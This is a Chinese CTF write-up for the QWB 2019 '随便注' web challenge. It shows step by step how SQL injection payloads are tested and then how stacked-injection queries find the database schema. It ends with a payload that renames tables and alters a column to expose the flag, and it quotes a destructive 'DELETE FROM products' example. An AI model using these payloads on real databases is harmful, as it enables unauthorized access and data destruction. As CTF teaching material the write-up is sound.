欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

强网杯2019-web-随便注

程序员文章站 2022-05-07 21:46:09
...

题目

强网杯2019-web-随便注

writeup

首先根据题目意思,知道是SQL注入

尝试进行注入

?inject=1

强网杯2019-web-随便注

1'

强网杯2019-web-随便注

发现报错,想到利用#进行截断(注释掉)

1' #

强网杯2019-web-随便注

回显正常

1' and 1=1#

强网杯2019-web-随便注

1' and 1=2#

强网杯2019-web-随便注

发现没有回显

判断字段数

1' order by 1#

强网杯2019-web-随便注

1' order by 2#

强网杯2019-web-随便注

1' order by 3#

强网杯2019-web-随便注

到3时报错,故知字段数为2

尝试union联合注入

1' union select 1,2 #

强网杯2019-web-随便注

发现报错,即过滤了select等关键字

查阅资料尝试

堆叠注入

1' ; show databases;#

强网杯2019-web-随便注

成功回显

查询表名

1' ; show tables;#

强网杯2019-web-随便注

查询两个表中的列名

1' ; show columns from words;#

强网杯2019-web-随便注

1' ; show columns from `1919810931114514`;#

强网杯2019-web-随便注

注意:使用反单引号

发现flag

查询大神博客后被下面的操作惊艳~

重点来了!!!

从之前的回显发现实际上都是words表内的,我们若想得到flag中的内容,需将其换为words表内的内容进行回显

换个角度来说,就是我们需要将1919810931114514表名换为words,并将flag的列名换为id

则需要以下三步:

  • 将表名words换为其他的,类似于word1
  • 将表名1919810931114514换为words
  • 将列名flag换为id

并通过之前的过滤规则发现并没有过滤掉alterrename等关键字

于是构造

1' ; rename tables `words` to `word1` ; rename tables `1919810931114514` to `words` ;  alter table `words` change `flag` `id` varchar(100);# 

强网杯2019-web-随便注

成功改变数据库结构后

1' or 1=1#

强网杯2019-web-随便注

得到flag~

知识点

堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。

试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。

而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?

区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

参考文章:https://www.cnblogs.com/0nth3way/articles/7128189.html

对于数据库结构改变的简单语句

CREATE DATABASE - 创建新数据库
ALTER DATABASE - 修改数据库
CREATE TABLE - 创建新表
ALTER TABLE - 变更(改变)数据库表
DROP TABLE - 删除表
CREATE INDEX - 创建索引(搜索键)
DROP INDEX - 删除索引

本题涉及:

1' ; rename tables `words` to `word1` ; rename tables `1919810931114514` to `words` ;  alter table `words` change `flag` `id` varchar(100);# 
  • rename - 重命名

    rename tables `words` to `word1`
    

    重命名表wordsword1

  • alter - 变更列

    alter table `words` change `flag` `id` varchar(100)
    

    变更表words中的列flagid 且其性质为varchar(100)

相关标签: CTF之Web